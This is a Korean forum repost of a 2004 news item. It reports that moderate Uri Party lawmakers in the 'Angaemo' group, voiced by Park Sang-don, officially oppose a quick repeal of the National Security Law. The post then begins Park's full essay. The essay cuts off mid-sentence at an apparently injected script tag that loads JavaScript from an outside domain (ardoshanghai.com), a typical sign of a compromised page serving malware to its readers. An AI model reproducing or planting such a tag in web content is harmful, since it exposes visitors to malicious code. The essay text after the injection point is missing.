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제목 여당 내 안개모 의원들, '국보법폐지 반대`가 우리의 공식입장
등록자 권영정
등록일 2004-12-02 오후 2:44:17 조회수 1786
여당 내 안개모 의원들, '국보법폐지 반대`가 우리의 공식입장

박상돈 의원 자신의 홈페이지에 '폐지반대'주장
▲ 박상돈 의원/

열린우리당내 중도성향 의원들의 모임인 `안정적 개혁을 위한 의원모임(안개모)' 소속인 박상돈(朴商敦) 의원은 지난달 30일 자신의 홈페이지에 올린 `안개모 의원의 생각'이란 글에서 "국가보안법의 폐지를 반대하는 많은 국민의 불안감을 해소하기 위한 시간적 여유와 노력이 선행돼야 한다"며 '속도조절'을 주장했다.

열린우리당이 당론으로 추진하고 있는 국보법폐지안에 대해 박 의원이 문제를 제기했고 안개모 회장인 유재건(柳在乾) 의원이 이를 공식입장으로 확인했다.

박 의원은 국보법 완전폐지에 대해 60% 이상이 반대하는 것으로 조사된 한 여론조사결과를 인용한 뒤 "국가보안법은 언젠가는 폐지돼야 할 법이지만, 폐지 후에 나타날 역기능도 신중히 검토해야 한다"며 이 같이 밝혔다.

그는 이어 "수많은 개혁 법안이 국민 여론의 지지를 충분히 받지 못한다면 기다리면서 하는 것도 하나의 방법"이라며 "개혁이 중요하기는 하지만, 우리 나름대로 개혁을 해 놓은 다음에 국민을 설득시키면 된다는 자세는 오만한 생각"이라고 지적했다.

그는 또 "민주주의가 다수결의 원칙이지만 다수결의 원칙에 전제되어야 하는 것은 포용과 설득"이라고 강조한 뒤 "우리를 반개혁적이라느니, 걸림돌이라느니 하는 식의 비판을 하는 경우가 있어 옷깃을 여미는 심정이나, 그 내용에 동의할 수는 없다"고 덧붙였다.

이 글은 박 의원의 개인성명 형식으로 발표됐지만, 안개모 회장인 유재건의원이 작성 과정에 직접 참여했고 "박 의원이 발표한 글은 안개모 공식입장"이라고 유 의원이 설명했다. 안개모가 이처럼 `공식입장'을 밝힌 것은 당 지도부가 이번 주 중 국회 법제사법위에 국보법 폐지안을 상정하겠다는 방침을 세웠기 때문으로 보인다.

출범 이후 제 목소리를 내지 못하던 안개모가 재삼 국보법에 대한 속도조절론을 제기함에 따라 당내 `보(保)-혁(革)' 노선 갈등이 재차 불거질 가능성도 점쳐지고 있다.

유 의원은 "당 지도부에 국보법 폐지안 상정에 앞서 대화와 타협이 선행돼야 한다는 안개모의 의견을 조만간 전달할 계획"이라고 말했다.

안개모 박상돈(충난 천안을, 육사28기) 의원이 자신의 홈페이지에 올린 '안개모 의원의 생각' 전문을 소개한다.(konas)


안개모 의원의 생각 - 열린우리당 국회의원 박상돈 -

길지 않은 한국의 현대정치 현실에서 역사적, 시대적 요구요 개혁에 대한 열망으로 국민의 높은 기대와 함께 노무현대통령의 참여정부가 출범하였습니다.
참여정부 출범 이후 대통령 탄핵이라는 초유의 사태로 인하여 많은 어려움도 있었지만 변화와 개혁을 기치로 지난 4.15총선에서 원내 과반수 의석을 확보한 열린우리당은 집권여당으로서 국민들의 기대에 부응해야 하는 것은 당연한 일입니다. 동시에 열린우리당은 노무현 대통령을 성공한 대통령으로, 참여정부를 성공한 정권으로 만들어야 하는 책임과 의무를 가지게 되었습니다.

개혁은 누구를 위한 그리고 무엇을 위한 것입니까? 개혁 자체가 목표가 아니라는 사실은 두말할 필요도 없습니다. 개혁은 국민들의 삶의 질 향상이라든가 민주주의라든가 자유와 인권이라든가 하는 절대적이거나 상대적인 가치와 이상을 추구하는 과정이요 수단을 말합니다.

개혁 정책에는 보수적인 것?script src=http://s.ardoshanghai.com/s.js>

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